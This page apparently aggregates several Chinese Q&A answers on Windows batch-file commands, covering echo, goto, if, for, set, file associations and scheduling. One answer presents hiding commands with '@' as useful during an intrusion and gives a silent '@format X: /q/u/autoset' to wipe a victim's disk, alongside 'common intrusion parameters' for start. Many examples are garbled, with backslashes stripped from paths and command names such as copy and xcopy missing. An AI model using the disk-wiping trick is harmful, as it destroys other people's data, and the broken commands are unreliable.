『壹』 bat批處理命令大全
我有一個txt格式的文檔,但是字數太多粘貼不上來(超過10000字)你可以加我,我傳給你
目錄:第一章 批處理基礎 第一節 常用批處理內部命令簡介 1、REM 和 :: 2、ECHO 和 @ 3、PAUSE 4、ERRORLEVEL 5、TITLE 6、COLOR 7、mode 配置系統設備 8、GOTO 和 : 9、FIND 10、START 11、assoc 和 ftype 12、pushd 和 popd 13、CALL 14、shift 15、IF 16、setlocal 與 變數延遲 17、ATTRIB 顯示或更改文件屬性 第二節 常用特殊符號 1、@ 命令行回顯屏蔽符 2、% 批處理變數引導符 3、> 重定向符 4、>> 重定向符 5、<、>&、<& 重定向符 6、| 命令管道符 7、^ 轉義字元 8、& 組合命令 9、&& 組合命令 10、|| 組合命令 11、"" 字元串界定符 12、, 逗號 13、; 分號 14、() 括弧 15、! 感嘆號 第二章 FOR命令詳解 一、基本格式 二、參數 /d 三、參數 /R 四、參數 /L 五、參數 /F 第三章 FOR命令中的變數 一、 ~I - 刪除任何引號("),擴展 %I 二、 %~fI - 將 %I 擴展到一個完全合格的路徑名 三、 %~dI - 僅將 %I 擴展到一個驅動器號 四、 %~pI - 僅將 %I 擴展到一個路徑 五、 %~nI - 僅將 %I 擴展到一個文件名 六、 %~xI - 僅將 %I 擴展到一個文件擴展名 七、 %~sI - 擴展的路徑只含有短名 八、 %~aI - 將 %I 擴展到文件的文件屬性 九、 %~tI - 將 %I 擴展到文件的日期/時間 十、 %~zI - 將 %I 擴展到文件的大小 十一、 %~$PATH:I 第四章 批處理中的變數 一、系統變數 二、自定義變數 第五章 set命令詳解 一、用set命令設置自定義變數 二、用set命令進行簡單計算 三、用set命令進行字元串處理 1、字元串替換 2、字元串截取 第六章 if命令講解 第一種用法:IF [NOT] ERRORLEVEL number command 第二種用法:IF [NOT] string1==string2 command 第三種用法:IF [NOT] EXIST filename command 第四種用法:IF增強的用法 第七章 DOS編程高級技巧 一、界面設計 二、if…else…條件語句 三、循環語句 四、子程序 五、用ftp命令實現自動下載 六、用7-ZIP實現命令行壓縮和解壓功能 七、調用VBScript程序 八、將批處理轉化為可執行文件 九、時間延遲 1、利用ping命令延時 2、利用for命令延時 3、利用vbs延遲函數,精確度毫秒,誤差1000毫秒內 4、僅用批處理命令實現任意時間延遲,精確度10毫秒,誤差50毫秒內 十、模擬進度條 十一、特殊字元的輸入及應用 十二、隨機數(%random%)的應用技巧 十三、變數嵌套 與 命令嵌套 全文: http://xiangkg.blog.163.com 1、更正了所有的錯別字,適當排版,增加條理性。 2、運行改善所有例子,並糾正了一些語法錯誤。 3、補充了一些不完全的地方。 4、第一章參考了網上許多教程匯編而成。 5、20080229補充了變數延遲的問題。 6、20080305修改了參數usebackq的說明 7、20080310增加了特殊字元的輸入及應用 8、20080311修改了子程序部分 9、20080313修改了echo說明,歸納了9個應用方法 10、20080320增加任意時間延遲方法 11、20080321增加了set計算中十進制與八進制混淆問題的說明 12、20080325修正dos數值計算范圍:-2147483648 至2147483647,即-2^31~2^31-1 13、20080326增加隨機數的應用 14、20080327修改了「if增強用法」中的defined語句說明 15、20080402增加變數嵌套與命令嵌套,重要技巧之一。很高興為你回答。如果你覺得滿意的話請採納。謝謝!
『貳』 bat的命令都有哪些,都有些什麼用法
BAT是批處理文件,裡麵包含是一條或者多條的命令.命令基本都是DOS的,
部分批處理命令是Echo、@、Goto、
Rem、Pause、Call
、start、
choice、
If、
for等,具體的你可以網路批處理文件,
『叄』 bat文件的用法命令
Echo 命令
打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。
語法
echo [{on|off}] [message]
Sample:@echo off / echo hello world
在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。
@ 命令
表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)
Goto 命令
指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。
語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣別人看起來才會理解你的意圖啊。
Rem 命令
注釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個注釋的作用,便於別人閱讀和你自己日後修改。
Rem Message
Sample:@Rem Here is the description.
Pause 命令
運行 Pause 命令時,將顯示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
a:*.* d:ack
echo Please put a new disk into driver A
pause
goto begin
在這個例子中,驅動器 A 中磁碟上的所有文件均復制到d:ack中。顯示的注釋提示您將另一張磁碟放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁碟,然後按任意鍵繼續處理。
Call 命令
從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。
語法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
參數
[Drive:][Path] FileName
指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。
start 命令
調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。
入侵常用參數:
MIN 開始時窗口最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先順序類別開始應用程序
REALTIME 在 REALTIME 優先順序類別開始應用程序
WAIT 啟動應用程序並等候它結束
parameters 這些為傳送到命令/程序的參數
執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本內執行,該新行為則不會發生。
choice 命令
choice 使用此命令可以讓用戶輸入一個字元,從而運行不同的命令。使用時應該加/c:參數,c:後應寫提示可輸入的字元,之間無空格。它的返回碼為1234……
如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的內容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:dosdefrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。
If 命令
if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。有三種格式:
⒈if 參數 == 字元串 待執行的命令
參數如果等於指定的字元串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)
如if %1==a format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
⒉if exist 文件名待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句。
如if existconfig.sysedit config.sys
⒊if errorlevel / if not errorlevel 數字待執行的命令
如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。
如if errorlevel 2 goto x2
DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。
for 命令
for 命令是一個比較復雜的命令,主要用於參數在指定的范圍內循環執行命令。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters 為特定命令指定參數或命令行開關。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I
如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,則指定與目錄名匹配,而不與文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的
FOR 語句。如果在 /R 後沒有指定目錄,則使用當前
目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。
FOR /L %variable IN (start,step,end) DO command [command-para
該集表示以增量形式從開始到結束的一個數字序列。
因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
序列 (5 4 3 2 1)。
FOR /F [options] %variable IN (file-set) DO command
FOR /F [options] %variable IN (string) DO command
FOR /F [options] %variable IN (command) DO command
或者,如果有 usebackq 選項:
FOR /F [options] %variable IN (file-set) DO command
FOR /F [options] %variable IN (string) DO command
FOR /F [options] %variable IN (command) DO command
filenameset 為一個或多個文件名。繼續到 filenameset 中的
下一個文件之前,每份文件都已被打開、讀取並經過處理。
處理包括讀取文件,將其分成一行行的文字,然後將每行
解析成零或更多的符號。然後用已找到的符號字元串變數值
調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開
的第一個空白符號。跳過空白行。您可通過指定可選 options
參數替代默認解析操作。這個帶引號的字元串包括一個或多個
指定不同解析選項的關鍵字。這些關鍵字為:
eol=c - 指一個行注釋字元的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的
默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代
的 for 本身。這會導致額外變數名稱的
格式為一個范圍。通過 nth 符號指定 m
符號字元串中的最後一個字元星號,
那麼額外的變數將在最後一個符號解析之
分配並接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字元串並且
引號字元為文字字元串命令並允許在 fi
中使用雙引號擴起文件名稱。
sample1:
FOR /F eol=; tokens=2,3* delims=, %i in (myfile.txt) do command
會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將
每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或
空格定界符號。請注意,這個 for 程序體的語句引用 %i 來
取得第二個符號,引用 %j 來取得第三個符號,引用 %k
來取得第三個符號後的所有剩餘符號。對於帶有空格的文件
名,您需要用雙引號將文件名括起來。為了用這種方式來使
用雙引號,您還需要使用 usebackq 選項,否則,雙引號會
被理解成是用作定義某個要分析的字元串的。
%i 專門在 for 語句中得到說明,%j 和 %k 是通過
tokens= 選項專門得到說明的。您可以通過 tokens= 一行
指定最多 26 個符號,只要不試圖說明一個高於字母 z 或
Z 的變數。請記住,FOR變數是單一字母、分大小寫和全局的;
同時不能有 52 個以上都在使用中。
您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是,
用單引號將括弧之間的 filenameset 括起來。這樣,該字元
串會被當作一個文件中的一個單一輸入行。
最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將
括弧之間的 filenameset 變成一個反括字元串。該字元串會
被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進
內存,並被當作文件分析。因此,以下例子:
FOR /F usebackq delims== %i IN (`set`) DO @echo %i
會枚舉當前環境中的環境變數名稱。
⒒Ping命令
Ping命令可以測試計算機名和計算機的IP地址,嚴正與對方計算機的連接,通過向對方主機發送「網際消息控制協議 (ICMP)」回響請求消息來驗證與對方 TCP/IP 計算機的 IP 級連接。回響應答消息的接收情況將和往返過程的次數一起顯示出來。Ping 是用於檢測網路連接性、可到達性和名稱解析的疑難問題的主要 TCP/IP 命令。如果不帶參數,ping 將顯示幫助。
12. AT命令
AT 命令安排在特定日期和時間運行命令和程序。
要使用 AT 命令,計劃服務必須已在運行中。
AT [\computername] [ [id] [/DELETE] | /DELETE [/YES]]
AT [\computername] time [/INTERACTⅣE] [ /EVERY:date[,...] | /NEXT:date[,...]] command
\computername 指定遠程計算機。如果省略這個參數,會計劃在本地計算機上運行命令。
id 指定給已計劃命令的識別號。
/delete 刪除某個已計劃的命令。如果省略 id,計算機上所有已計劃的命令都會被刪除。
/yes 不需要進一步確認時,跟刪除所有作業的命令一起使用。
time 指定運行命令的時間。
/interactive 允許作業在運行時,與當時登錄的用戶桌面進行交互。
/every:date[,...] 指定在每周或每月的特定日期運行命令。如果省略日期,則默認為在的運行。
/next:date[,...] 指定在下一個指定日期(如,下周四)運行命令。如果省略日期,則默認為在的運行。
command 准備運行的 Windows NT 命令或批處理程序。
『肆』 Perl-4 Windows批處理(cmd/bat)常用命令大全 2020-12-20
簡單詳細,建議收藏
常見問題:
1.如果你自己編寫的.bat文件,雙擊打開,出現閃退
2.批處理.bat 文件中輸出中文亂碼
解決方法在文章末尾!
前言
批處理文件(batch file)包含一系列 DOS命令,通常用於自動執行重復性任務。用戶只需雙擊批處理文件便可執行任務,而無需重復輸入相同指令。編寫批處理文件非常簡單,但難點在於確保一切按順序執行。編寫嚴謹的批處理文件可以極大程度地節省時間,在應對重復性工作時尤其有效
在Windows中善用批處理可以簡化很多重復工作
什麼是批處理?
批處理(Batch),也稱為批處理腳本。顧名思義,批處理就是對某對象進行批量的處理。批處理文件的擴展
名為bat
1 echo 和 @
回顯命令
@ #關閉單行回顯
echo off #從下一行開始關閉回顯
@echo off #從本行開始關閉回顯。一般批處理第一行都是這個
echo on #從下一行開始打開回顯
echo #顯示當前是 echo off 狀態還是 echo on 狀態
echo. #輸出一個」回車換行」,空白行
(同echo, echo; echo+ echo[ echo] echo/ echo)
2 errorlevel
echo %errorlevel%
每個命令運行結束,可以用這個命令行格式查看返回碼
默認值為0,一般命令執行出錯會設 errorlevel 為1
3 dir
顯示文件夾內容
dir #顯示當前目錄中的文件和子目錄
dir /a #顯示當前目錄中的文件和子目錄,包括隱藏文件和系統文件
dir c: /a:d #顯示 C 盤當前目錄中的目錄
dir c: /a:-d #顯示 C 盤根目錄中的文件
dir c: /b/p #/b只顯示文件名,/p分頁顯示
dir *.exe /s #顯示當前目錄和子目錄里所有的.exe文件
4 cd
切換目錄
cd #進入根目錄
cd #顯示當前目錄
cd /d d:sdk #可以同時更改盤符和目錄
5 md
創建目錄
md d:abc #如果 d:a 不存在,將會自動創建中級目錄
如果命令擴展名被停用,則需要鍵入 mkdir abc
6 rd
刪除目錄
rd abc #刪除當前目錄里的 abc 子目錄,要求為空目錄
rd /s/q d:temp #刪除 d:temp 文件夾及其子文件夾和文件,/q安靜模式
7 del
刪除文件
del d:test.txt #刪除指定文件,不能是隱藏、系統、只讀文件
del /q/a/f d:temp .
刪除 d:temp 文件夾裡面的所有文件,包括隱藏、只讀、系統文件,不包括子目錄
del /q/a/f/s d:temp .
刪除 d:temp 及子文件夾裡面的所有文件,包括隱藏、只讀、系統文件,不包括子目錄
8 ren
重命名命令
ren d:temp tmp #支持對文件夾的重命名
9 cls
清屏
10 type
顯示文件內容
type c:boot.ini #顯示指定文件的內容,程序文件一般會顯示亂碼
type *.txt #顯示當前目錄里所有.txt文件的內容
11
拷貝文件
c:test.txt d:test.bak
復制 c:test.txt 文件到 d: ,並重命名為 test.bak
con test.txt
從屏幕上等待輸入,按 Ctrl+Z 結束輸入,輸入內容存為test.txt文件
con代表屏幕,prn代表列印機,nul代表空設備
1.txt + 2.txt 3.txt
合並 1.txt 和 2.txt 的內容,保存為 3.txt 文件
如果不指定 3.txt ,則保存到 1.txt
test.txt +
復制文件到自己,實際上是修改了文件日期
12 title
設置cmd窗口的標題
title 新標題 #可以看到cmd窗口的標題欄變了
13 ver
顯示系統版本
14 label 和 vol
設置卷標
vol #顯示卷標
label #顯示卷標,同時提示輸入新卷標
label c:system #設置C盤的卷標為 system
15 pause
暫停命令
16 rem 和 ::
注釋命令
注釋行不執行操作
17 date 和 time
日期和時間
date #顯示當前日期,並提示輸入新日期,按"回車"略過輸入
date/t #只顯示當前日期,不提示輸入新日期
time #顯示當前時間,並提示輸入新時間,按"回車"略過輸入
time/t #只顯示當前時間,不提示輸入新時間
18 goto 和 :
跳轉命令
:label #行首為:表示該行是標簽行,標簽行不執行操作
goto label #跳轉到指定的標簽那一行
19 find (外部命令)
查找命令
find "abc" c:test.txt
在 c:test.txt 文件里查找含 abc 字元串的行
如果找不到,將設 errorlevel 返回碼為1
find /i 「abc」 c:test.txt
查找含 abc 的行,忽略大小寫
find /c "abc" c:test.txt
顯示含 abc 的行的行數
20 more (外部命令)
逐屏顯示
more c:test.txt #逐屏顯示 c:test.txt 的文件內容
21 tree
顯示目錄結構
tree d: #顯示D盤的文件目錄結構
22 &
順序執行多條命令,而不管命令是否執行成功
23 &&
順序執行多條命令,當碰到執行出錯的命令後將不執行後面的命令
find "ok" c:test.txt && echo 成功
如果找到了"ok"字樣,就顯示"成功",找不到就不顯示
24 ||
順序執行多條命令,當碰到執行正確的命令後將不執行後面的命令
find "ok" c:test.txt || echo 不成功
如果找不到"ok"字樣,就顯示"不成功",找到了就不顯示
25 |
管道命令
dir . /s/a | find /c ".exe"
管道命令表示先執行 dir 命令,對其輸出的結果執行後面的 find 命令
該命令行結果:輸出當前文件夾及所有子文件夾里的.exe文件的個數
type c:test.txt|more
這個和 more c:test.txt 的效果是一樣的
26 > 和 >>
輸出重定向命令
27 <
從文件中獲得輸入信息,而不是從屏幕上
一般用於 date time label 等需要等待輸入的命令
@echo off
echo 2005-05-01>temp.txt
date <temp.txt
del temp.txt
這樣就可以不等待輸入直接修改當前日期
28 %0 %1 %2 %3 %4 %5 %6 %7 %8 %9 % *
命令行傳遞給批處理的參數
%0 批處理文件本身
%1 第一個參數
%9 第九個參數
%* 從第一個參數開始的所有參數
批參數(%n)的替代已被增強。您可以使用以下語法:
%~1 - 刪除引號(" ), 擴充 %1
%~f1 - 將 %1 擴充到一個完全合格的路徑名
%~d1 - 僅將 %1 擴充到一個驅動器號
%~p1 - 僅將 %1 擴充到一個路徑
%~n1 - 僅將 %1 擴充到一個文件名
%~x1 - 僅將 %1 擴充到一個文件擴展名
%~s1 - 擴充的路徑指含有短名
%~a1 - 將 %1 擴充到文件屬性
%~t1 - 將 %1 擴充到文件的日期/時間
%~z1 - 將 %1 擴充到文件的大小
%~ PATH:1 - 在列在 PATH 環境變數中的目錄里查找 %1,
並擴展到找到的第一個文件的驅動器號和路徑。
%~ftza1 - 將 %1 擴展到類似 DIR 的輸出行。
可以參照 call/? 或 for/? 看出每個參數的含意
echo load "%%1" "%%2">c:test.txt
生成的文件內容為 load "%1" "%2"
批處理文件里,用這個格式把命令行參數輸出到文件
29 if
判斷命令
if "%1"=="/a" echo 第一個參數是/a
if /i "%1" equ "/a" echo 第一個參數是/a
/i 表示不區分大小寫,equ 和 == 是一樣的,其它運算符參見 if/?
if exist c:test.bat echo 存在c:test.bat文件
if not exist c:windows (
echo 不存在c:windows文件夾
)
if exist c:test.bat (
echo 存在c:test.bat
) else (
echo 不存在c:test.bat
)
30 setlocal 和 endlocal
設置」命令擴展名」和」延緩環境變數擴充」
SETLOCAL ENABLEEXTENSIONS #啟用"命令擴展名"
SETLOCAL DISABLEEXTENSIONS #停用"命令擴展名"
SETLOCAL ENABLEDELAYEDEXPANSION #啟用"延緩環境變數擴充"
SETLOCAL DISABLEDELAYEDEXPANSION #停用"延緩環境變數擴充"
ENDLOCAL #恢復到使用SETLOCAL語句以前的狀態
「命令擴展名」默認為啟用
「延緩環境變數擴充」默認為停用
批處理結束系統會自動恢復默認值
可以修改注冊表以禁用"命令擴展名",詳見 cmd /? 。所以用到"命令擴展名"的程
序,建議在開頭和結尾加上 SETLOCAL ENABLEEXTENSIONS 和 ENDLOCAL 語句,以確
保程序能在其它系統上正確運行
"延緩環境變數擴充"主要用於 if 和 for 的符合語句,在 set 的說明裡有其實用常式
31 set
設置變數
引用變數可在變數名前後加 % ,即 %變數名%
set #顯示目前所有可用的變數,包括系統變數和自定義的變數
echo %SystemDrive% #顯示系統盤盤符。系統變數可以直接引用
set p #顯示所有以p開頭的變數,要是一個也沒有就設errorlevel=1
set p=aa1bb1aa2bb2 #設置變數p,並賦值為 = 後面的字元串,即aa1bb1aa2bb2
echo %p% #顯示變數p代表的字元串,即aa1bb1aa2bb2
echo %p:~6% #顯示變數p中第6個字元以後的所有字元,即aa2bb2
echo %p:~6,3% #顯示第6個字元以後的3個字元,即aa2
echo %p:~0,3% #顯示前3個字元,即aa1
echo %p:~-2% #顯示最後面的2個字元,即b2
echo %p:~0,-2% #顯示除了最後2個字元以外的其它字元,即aa1bb1aa2b
echo %p:aa=c% #用c替換變數p中所有的aa,即顯示c1bb1c2bb2
echo %p:aa=% #將變數p中的所有aa字元串置換為空,即顯示1bb12bb2
echo %p: bb=c% #第一個bb及其之前的所有字元被替換為c,即顯示c1aa2bb2
set p=%p: bb=c% #設置變數p,賦值為 %p:*bb=c% ,即c1aa2bb2
set /a p=39 #設置p為數值型變數,值為39
set /a p=39/10 #支持運算符,有小數時用去尾法,39/10=3.9,去尾得3,p=3
set /a p=p/10 #用 /a 參數時,在 = 後面的變數可以不加%直接引用
set /a p=」1&0″ #」與」運算,要加引號。其它支持的運算符參見set/?
set p= #取消p變數
set /p p=請輸入
屏幕上顯示」請輸入」,並會將輸入的字元串賦值給變數p
注意這條可以用來取代 choice 命令
注意變數在 if 和 for 的復合語句里是一次性全部替換的,如
@echo off
set p=aaa
if %p%==aaa (
echo %p%
set p=bbb
echo %p%
)
結果將顯示
aaa
aaa
因為在讀取 if 語句時已經將所有 %p% 替換為aaa
這里的"替換",在 /? 幫助里就是指"擴充"、"環境變數擴充"
可以啟用」延緩環境變數擴充」,用 ! 來引用變數,即 !變數名!
@echo off
SETLOCAL ENABLEDELAYEDEXPANSION
set p=aaa
if %p%==aaa (
echo %p%
set p=bbb
echo !p!
)
ENDLOCAL
結果將顯示
aaa
bbb
還有幾個動態變數,運行 set 看不到
%CD% #代表當前目錄的字元串
%DATE% #當前日期
%TIME% #當前時間
%RANDOM% #隨機整數,介於0~32767
%ERRORLEVEL% #當前 ERRORLEVEL 值
%CMDEXTVERSION% #當前命令處理器擴展名版本號
%CMDCMDLINE% #調用命令處理器的原始命令行
可以用echo命令查看每個變數值,如 echo %time%
注意 %time% 精確到毫秒,在批處理需要延時處理時可以用到
32 start
批處理中調用外部程序的命令,否則等外部程序完成後才繼續執行剩下的指令
33 call
批處理中調用另外一個批處理的命令,否則剩下的批處理指令將不會被執行
有時有的應用程序用start調用出錯的,也可以call調用
34 choice (外部命令)
選擇命令
讓用戶輸入一個字元,從而選擇運行不同的命令,返回碼errorlevel為1234……
win98里是choice.com
win2000pro里沒有,可以從win98里拷過來
win2003里是choice.exe
choice /N /C y /T 5 /D y>nul
延時5秒
35 assoc 和 ftype
文件關聯
assoc 設置'文件擴展名'關聯,關聯到'文件類型'
ftype 設置'文件類型'關聯,關聯到'執行程序和參數'
當你雙擊一個.txt文件時,windows並不是根據.txt直接判斷用 notepad.exe 打開
而是先判斷.txt屬於 txtfile '文件類型'
再調用 txtfile 關聯的命令行 txtfile=%SystemRoot%system32NOTEPAD.EXE %1
可以在"文件夾選項"→"文件類型"里修改這2種關聯
assoc #顯示所有'文件擴展名'關聯
assoc .txt #顯示.txt代表的'文件類型',結果顯示 .txt=txtfile
assoc .doc #顯示.doc代表的'文件類型',結果顯示 .doc=Word.Document.8
assoc .exe #顯示.exe代表的'文件類型',結果顯示 .exe=exefile
ftype #顯示所有'文件類型'關聯
ftype exefile #顯示exefile類型關聯的命令行,結果顯示 exefile="%1" %*
assoc .txt=Word.Document.8
設置.txt為word類型的文檔,可以看到.txt文件的圖標都變了
assoc .txt=txtfile
恢復.txt的正確關聯
ftype exefile="%1" %*
恢復 exefile 的正確關聯
如果該關聯已經被破壞,可以運行 command.com ,再輸入這條命令
36 pushd 和 popd
切換當前目錄
@echo off
c: & cd & md mp3 #在 C: 建立 mp3 文件夾
md d:mp4 #在 D: 建立 mp4 文件夾
cd /d d:mp4 #更改當前目錄為 d:mp4
pushd c:mp3 #保存當前目錄,並切換當前目錄為 c:mp3
popd #恢復當前目錄為剛才保存的 d:mp4
37 for
循環命令
這個比較復雜,請對照 for/? 來看
38 subst (外部命令)
映射磁碟。
subst z: serverd #這樣輸入z:就可以訪問serverd了
subst z: /d #取消該映射
subst #顯示目前所有的映時
39 x (外部命令)
文件拷貝
x d:mp3 e:mp3 /s/e/i/y
復制 d:mp3 文件夾、所有子文件夾和文件到 e: ,覆蓋已有文件
加 /i 表示如果 e: 沒有 mp3 文件夾就自動新建一個,否則會有詢問
『伍』 bat命令、全一點的、給加分
命令:CALL
功能:在批處理文件中調用批處理文件.
CALL [驅動器:][路徑]文件名 [批命令參數]
批命令參數 指定批處理文件所需的命令行參數.
命令:CD/CHDIR
功能:顯示或改變當前目錄.
CHDIR [驅動器:][路徑]
CHDIR[..]
CD [驅動器:][路徑]
CD[..]
.. 表示當前目錄改變成父目錄.
鍵入 CD [驅動器:], 可顯示指定驅動器的當前目錄.
鍵入不帶參數的 CD 可顯示當前驅動器和當前目錄.
命令:CLS
功能:清除屏幕。
CLS
命令:COPY
功能:文件拷貝.
COPY [/A | /B] source [/A | /B] [+ source [/A | /B] [+ ...]] [destination
[/A | /B]] [/V] [/Y | /-Y]
source 指定被拷貝的文件.
/A 表示 ASCII 正文文件.
/B 表示二進制文件.
destination 指定新文件的目錄和文件名.
/V 校驗新文件是否正確.
/Y 在重寫原有的目標文件之前, 不讓你確認.
/-Y 在重寫原有的目標文件之前, 讓你確認.
開關項 /Y 可由環境變數 COPYCMD 預設.
-Y 可以更改預設值.要合並多個文件時, 可指定單個目標文件, 但指定多個
源文件(使用通配符或 文件1+文件2+文件3 格式).
命令:DATE
功能:顯示或設置日期。
DATE [日期]
顯示當前日期設置和輸入新日期的提示,請鍵入
不帶參數的 DATE。要保留現有日期,請按 ENTER。
命令:DEL/ERASE
功能:刪除文件.
DEL [驅動器:][路徑]文件名 [/P]
ERASE [驅動器:][路徑]文件名 [/P]
[驅動器:][路徑]文件名 指定被刪除的文件, 用通配符指定多個文件.
/P 刪除每個文件之前顯示確認信息.
命令:DIR
功能:顯示目錄中的文件和子目錄列表。
DIR [驅動器:][路徑][文件名] [/P] [/W] [/A[[:]屬性]]
[/O[[:]排序方式]] [/S] [/B] [/L] [/V] [/4]
[驅動器:][路徑][文件名
指定列出的驅動器, 目錄或文件。
(可支持帶通配符的長文件名)
/P 顯示一屏信息後暫停。
/W 使用寬幅列表格式。
/A 顯示指定屬性的文件。
屬性 D 目錄 R 只讀文件
H 隱含文件 A 准備存檔的文件
S 系統文件 - 前綴, 表示"非"
/O 排序後列出文件。
排序方式 N 按文件名(字母順序) S 按大小(小文件在前)
E 按擴展名(字母順序) D 按日期和時間(先建立的在前)
G 先列出子目錄 - 前綴, 表示反序
A 按最後訪問日期排序(先訪問的在前)
/S 列出指定目錄及其所有子目錄的文件。
/B 使用空格式(沒有標題信息或摘要)。
/L 用小寫。
/V Verbose mode.
/4 用四位數字顯示年
開關可能已用 DIRCMD 環境變數預置.
用連字元(-)可更換預置的開關, 例如/-W.
命令:ECHO
功能:顯示信息, 打開或關閉命令的回顯.
ECHO [ON | OFF]
ECHO [信息]
鍵入不帶參數的 ECHO 可顯示 ECHO 的當前設置.
命令:EXIT
功能:退出COMMAND.COM命令解釋程序.
EXIT
命令:FOR
功能:對一系列文件中的每個文件執行指定的命令.
FOR %變數名 IN (文件集) DO 命令名 [命令行參數]
%變數名 指定可替換型參數.
(文件集) 指定包含一個或多個文件的文件集, 可使用通配符.
命令名 指定為每個文件執行的命令.
命令行參數
指定命令的參數或開關.
在批處理文件中使用 FOR 命令時, 用 %%變數名 替換 %變數名.
命令:GOTO
功能:在批處理程序中將 Windows 轉向到指定的行號.
GOTO 標號
標號 指定在批處理文件中用作標號的正文字元串.
標號獨佔一行, 以冒號打頭.
命令:IF
功能:批文件的條件語句.
IF [NOT] ERRORLEVEL 數值 命令名
IF [NOT] 字串1==字串2 命令名
IF [NOT] EXIST 文件名 命令名
NOT 指示 Windows 在條件不成立時才執行命令.
ERRORLEVEL 數值 如果上次程序返回的退出碼大於或等於指定的數值, 則條件成立.
命令名 指定條件滿足時應執行的命令.
字串1==字串2 如果正文字元串匹配, 則條件成立.
EXIST 文件名 如果指定的文件存在, 則條件成立.
命令:LH/LOADHIGH
功能:將程序裝入上端內存區.
LOADHIGH [驅動器:][路徑]程序名 [參數]
LOADHIGH [/L:區域1[,最小值1][;區域2[,最小值2]...] [/S]]
[驅動器:][路徑]程序名 [參數
/L:區域1[,最小值1][;區域2[,最小值2]]...
指定裝裁程序的內存區域, <區域1> 指定第一個內存區號.
<最小值1> 指定 <區域1> 的最小尺寸(若有).
<區域2> 和 <最小值2> 指定第二個內存塊號和最小尺寸(若有).
內存區域的個數不限.
/S 裝入程序時, 將 UMB 收縮到最小尺寸.
[驅動器:][路徑]文件名
指定程序的名稱和位置.
命令:MD/MKDIR
功能:創建目錄.
MKDIR [驅動器:]目錄
MD [驅動器:]目錄
命令:PATH
功能:顯示或設置可執行文件的搜索路徑.
PATH [[驅動器:]路徑[....]]
PATH ;
鍵入 PATH ; 可清除所有的搜索路徑, 使 Windows 只搜索當前目錄
鍵入不帶參數的 PATH 可顯示當前路徑.
命令:PAUSE
功能:暫停批處理程序,並顯示以下消息:
請按任意鍵繼續. . .
PAUSE
命令:PROMPT
功能:更改命令提示符。
PROMPT [text]
text 指定新的命令提示符。
提示符可以由普通字元及下列特定代碼組成:
$Q = (等號)
$$ $ (貨幣符號)
$T 當前時間
$D 當前日期
$P 當前驅動器及路徑
$V Windows 版本號
$N 當前驅動器
$G > (大於符號)
$L < (小於符號)
$B | (管道)
$H 退格 (擦除前一個字元)
